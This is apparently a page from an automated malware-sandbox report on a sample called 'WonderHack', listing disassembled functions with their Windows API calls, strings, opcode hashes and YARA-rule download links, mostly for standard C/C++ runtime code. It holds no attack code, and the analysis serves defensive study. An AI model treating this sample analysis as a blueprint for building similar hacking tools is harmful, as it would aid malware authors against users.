API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 9c0f01f1d1089cac9a69bd7ce5539c011d16a37136f19c908f398e5572cfae11
Instruction ID: 7723075cb14ffa3d046ab481495a4f6c0827d63772c066bdd6cf589fb7bcf91a
Opcode Fuzzy Hash: 9c0f01f1d1089cac9a69bd7ce5539c011d16a37136f19c908f398e5572cfae11
Instruction Fuzzy Hash: 267115729042496BDF209FA4CD81FEF7BBAEF4A310FA90059F814A7292E7359C008752

Function 0019FE29 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 0019FE70
__alloca_probe_16.LIBCMT ref: 0019FE9C
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 0019FEDB
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0019FEF8
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0019FF37
__alloca_probe_16.LIBCMT ref: 0019FF54
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 0019FF96
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0019FFB9

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: d53dbf67cb80e158d52453470888fd9c18676a06d57bfd3c26787527a735226c
Instruction ID: 3a2038e0481ed0845f321f8f797685a42d7d1e06d9fe442b7e627138fec25af8
Opcode Fuzzy Hash: d53dbf67cb80e158d52453470888fd9c18676a06d57bfd3c26787527a735226c
Instruction Fuzzy Hash: 33517C73A0021ABBEF205FA0CC45FAA7AA9EF41750F254439F925DA190D730DC528B50

Function 001AEE76 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001AEEFC

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction ID: 27ef0de5cd6a12e98f3f2284b997d06933339c89fb2acf68edc09ee8a74eeb0b
Opcode Fuzzy Hash: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction Fuzzy Hash: E4B13876A003559FDB168FA4CC81BEEBBA6EF66310F154169F944AB282D3749D02C7A0

Function 001A0D40 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 001A0D77
___except_validate_context_record.LIBVCRUNTIME ref: 001A0D7F
_ValidateLocalCookies.LIBCMT ref: 001A0E08
__IsNonwritableInCurrentImage.LIBCMT ref: 001A0E33
_ValidateLocalCookies.LIBCMT ref: 001A0E88

Strings

csm, xrefs: 001A0E1D

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5fbeabc3549782ec3abd7a767ebd36216968655c86c9e37384ea4c1fb563861f
Instruction ID: 59ae8a39fbcfe00c37e6684538e6924b06a6465553d47793f899a0e9bf0fc6be
Opcode Fuzzy Hash: 5fbeabc3549782ec3abd7a767ebd36216968655c86c9e37384ea4c1fb563861f
Instruction Fuzzy Hash: C7412438A0021CAFCF12DFA8C880ADEBFB5AF5A324F148555E8159B352D731EE51CB91

Function 001A0080 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 001A0086
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 001A0094
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 001A00A5

Strings

kernel32.dll, xrefs: 001A0081
GetSystemTimePreciseAsFileTime, xrefs: 001A008E
GetTempPath2W, xrefs: 001A009A

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 02d5649c0a70b2b3ef7bc9cfc7bed35e8d0b8b7d56f0d73afeb353080c7f2804
Instruction ID: 05d74e52452e946ea8d810749b972c8fd00f1c576d4fc8aa882df2df30d21a2c
Opcode Fuzzy Hash: 02d5649c0a70b2b3ef7bc9cfc7bed35e8d0b8b7d56f0d73afeb353080c7f2804
Instruction Fuzzy Hash: 40D09231546220ABC310AFB4BC09E8A7EB9FB19711301815AF895D2A60DBB5CA81CA9C

Function 001B4F81 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e0e4cc31c536547e8832841507989c861777a49e4a092a7f44eb005b5243f2b
Instruction ID: 2e8e118bead540df17f2032f23d50edc3b18464aff82abff157cd17b6cddcc56
Opcode Fuzzy Hash: 3e0e4cc31c536547e8832841507989c861777a49e4a092a7f44eb005b5243f2b
Instruction Fuzzy Hash: 7DB10374A08A49AFDB05DFACD881BFEBBB2BF56304F144199F5049B392C7719941CBA0

Function 00199B30 Relevance: 9.1, APIs: 6, Instructions: 125COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00199C97
std::_Throw_Cpp_error.LIBCPMT ref: 00199CA8
std::_Throw_Cpp_error.LIBCPMT ref: 00199CBC
std::_Throw_Cpp_error.LIBCPMT ref: 00199CDD
std::_Throw_Cpp_error.LIBCPMT ref: 00199CEE
std::_Throw_Cpp_error.LIBCPMT ref: 00199D06

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: 4c4d2b0e548792378aad8af6c4da4ce3086a66d931cd2cbf2b60a5fe828b9e66
Instruction ID: 6474697f75369d768a708c45308344bcffba5921acd6dcef472f9bbee7b4924c
Opcode Fuzzy Hash: 4c4d2b0e548792378aad8af6c4da4ce3086a66d931cd2cbf2b60a5fe828b9e66
Instruction Fuzzy Hash: 5041AFB1904740CBDF30DB688E42BABB7F8BF55324F18062DD57A26291D7756904CBA2

Function 001AACE7 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,001AACDE,001A0760,0019B77F,C97C8CFE,?,?,?,?,001BBFCA,000000FF), ref: 001AACF5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 001AAD03
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 001AAD1C
SetLastError.KERNEL32(00000000,?,001AACDE,001A0760,0019B77F,C97C8CFE,?,?,?,?,001BBFCA,000000FF), ref: 001AAD6E

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 03d8f696285fd011c8f9833ae8f4360d5fc7d2d6910a5528f6d80fdfb365676c
Instruction ID: 8fb3f514b48dd6042cd34c2a7b6b851b6c00bb54f2f294578222d981e84d779d
Opcode Fuzzy Hash: 03d8f696285fd011c8f9833ae8f4360d5fc7d2d6910a5528f6d80fdfb365676c
Instruction Fuzzy Hash: DB01FC7621D7159EA72427F47C86D662E88EF23B79B20033AF650D59F0EF218C82D141

Function 001AB56E Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 001AB68D
CallUnexpected.LIBVCRUNTIME ref: 001AB906

Strings

csm, xrefs: 001AB6C4
csm, xrefs: 001AB5AB
csm, xrefs: 001AB618

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 371d2a8868c87a4279ebd3d18da26fe569d7f7ce6992e0c2f184825fa6cb7c8a
Instruction ID: 973454fc38c3c297afb27445dd677007396bbe556132ae3993402b776de1221d
Opcode Fuzzy Hash: 371d2a8868c87a4279ebd3d18da26fe569d7f7ce6992e0c2f184825fa6cb7c8a
Instruction Fuzzy Hash: A9B19879804249EFCF19DFA4C8C19AEBBB9FF26310F10415AE8156B207D739DA61CB91

Function 0019BE95 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0019BF44
std::_Ref_count_base::_Decref.LIBCPMT ref: 0019C028

Strings

MOC, xrefs: 0019BE9F
csm, xrefs: 0019BEB7
RCC, xrefs: 0019BEAB

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: 964dd842d04bf0a295815db33b023f1dac8bdef5feda037fabdb4e7d92cb2127
Instruction ID: d89cbdc4932409ab5313a8a92155c79b8a4f102025eb6ea994c31292aeb9a089
Opcode Fuzzy Hash: 964dd842d04bf0a295815db33b023f1dac8bdef5feda037fabdb4e7d92cb2127
Instruction Fuzzy Hash: 3241B174908205DFCF28DF68EA859ADB7B5BF58300F58805DE449A7652C738EE44CF92

Function 001A55C4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,C97C8CFE,?,?,00000000,001BBE94,000000FF,?,001A5685,00000002,?,001A5721,001A8396), ref: 001A55F9
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 001A560B
FreeLibrary.KERNEL32(00000000,?,?,00000000,001BBE94,000000FF,?,001A5685,00000002,?,001A5721,001A8396), ref: 001A562D

Strings

CorExitProcess, xrefs: 001A5603
mscoree.dll, xrefs: 001A55F2

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 3fc3d7f007838d92f2e6d87d11fcb73cc9847bc1f782ab074d8b227604160103
Instruction ID: 0be5b15782e2ff05501aa1c0de1ab1a4f4e6e7d3c5465238b72bcbbc9d389ba6
Opcode Fuzzy Hash: 3fc3d7f007838d92f2e6d87d11fcb73cc9847bc1f782ab074d8b227604160103
Instruction Fuzzy Hash: D101F931A04629EFCB118F40DC09FAEBBB8FB04B25F000529F811E26E0DB74D940CB94

Function 001AD6EA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 001AD76F
__alloca_probe_16.LIBCMT ref: 001AD838
__freea.LIBCMT ref: 001AD89F

Part of subcall function 001ABF11: RtlAllocateHeap.NTDLL(00000000,001ADF35,?,?,001ADF35,00000220,?,00000000,?), ref: 001ABF43

__freea.LIBCMT ref: 001AD8B2
__freea.LIBCMT ref: 001AD8BF

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: e19d8596f707b343301a4660d2723eb9da5584adf87a46b051494302de8a67b2
Instruction ID: 62975f1085877c0125dea4a1e0956780977ce682e68ed2b29de3b4175c8e1654
Opcode Fuzzy Hash: e19d8596f707b343301a4660d2723eb9da5584adf87a46b051494302de8a67b2
Instruction Fuzzy Hash: 0151D37A600606AFEF255FA0EC81EBF3AA9EF56710F19012CFD05D6611E734DC1097A0

Function 0019EFF1 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0019F005
AcquireSRWLockExclusive.KERNEL32(00198E38), ref: 0019F024
AcquireSRWLockExclusive.KERNEL32(00198E38,0019A2F0,?), ref: 0019F052
TryAcquireSRWLockExclusive.KERNEL32(00198E38,0019A2F0,?), ref: 0019F0AD
TryAcquireSRWLockExclusive.KERNEL32(00198E38,0019A2F0,?), ref: 0019F0C4

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: cb02dfe3fd7c1c1f9cdafc686bfc155b28f333094854d182dd4e806cf8409470
Instruction ID: 93ef097acdbbb0e1fda30e966983d3f4639c1a5641fb48299bbc1a81139ae651
Opcode Fuzzy Hash: cb02dfe3fd7c1c1f9cdafc686bfc155b28f333094854d182dd4e806cf8409470
Instruction Fuzzy Hash: D3412971A0060AEBCF24CF65C4819AAB7FAFF04311B28493EE456D7942D730F986CB51

Function 00193C70 Relevance: 7.6, APIs: 5, Instructions: 111COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00193CA5
std::_Lockit::_Lockit.LIBCPMT ref: 00193CBF
std::_Lockit::~_Lockit.LIBCPMT ref: 00193CE0
__Getctype.LIBCPMT ref: 00193D92
std::_Lockit::~_Lockit.LIBCPMT ref: 00193DD8

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Getctype
String ID:
API String ID: 3087743877-0
Opcode ID: 06a98bc93bc5fecb8e975d757994e47671eebbc4d66ac012e23a6cb04de1a150
Instruction ID: e5480b3ca05582bb5b1b4c650f8a915afb5ebe1cb9a1eb9bd0ec90441067f601
Opcode Fuzzy Hash: 06a98bc93bc5fecb8e975d757994e47671eebbc4d66ac012e23a6cb04de1a150
Instruction Fuzzy Hash: 32415671E002188FCF10DF98C855BAABBB1FF54724F448119D8296B791DB34AE45CBD1

Function 0019D4C2 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0019D4C9
std::_Lockit::_Lockit.LIBCPMT ref: 0019D4D3
int.LIBCPMT ref: 0019D4EA

Part of subcall function 0019C1E5: std::_Lockit::_Lockit.LIBCPMT ref: 0019C1F6
Part of subcall function 0019C1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 0019C210

codecvt.LIBCPMT ref: 0019D50D
std::_Lockit::~_Lockit.LIBCPMT ref: 0019D544

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 41d0073db98fd27047a98596a54a7c9616f068ed2fccd25a77ad2e597d2c6f64
Instruction ID: 79b24d71d82c39821d15c7f20800991ad20aa73dcfe416506d3ea42731112235
Opcode Fuzzy Hash: 41d0073db98fd27047a98596a54a7c9616f068ed2fccd25a77ad2e597d2c6f64
Instruction Fuzzy Hash: FC01D2319001159FDF05EBA8D902ABE7BB5AFA4724F260009F815EB292CF34DE41CBC2

Function 0019ADD7 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0019ADDE
std::_Lockit::_Lockit.LIBCPMT ref: 0019ADE9
std::_Lockit::~_Lockit.LIBCPMT ref: 0019AE57

Part of subcall function 0019ACAA: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0019ACC2

std::locale::_Setgloballocale.LIBCPMT ref: 0019AE04
_Yarn.LIBCPMT ref: 0019AE1A

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: aaefd30b3ce756ebfcb86d56206d07d44a83613a110a6a3826b09a5d318751c9
Instruction ID: 4dce98bf61ec51c49e46ad50ada331fb3ae56edb05f74511870b3e1ebf1ea8b2
Opcode Fuzzy Hash: aaefd30b3ce756ebfcb86d56206d07d44a83613a110a6a3826b09a5d318751c9
Instruction Fuzzy Hash: 69017C75A002609FCF06EF20D85597D7B65FFA4750B544019E8065B391CF34AE86CBC2

Function 0019B755 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0019B809

Strings

RCC, xrefs: 0019B795
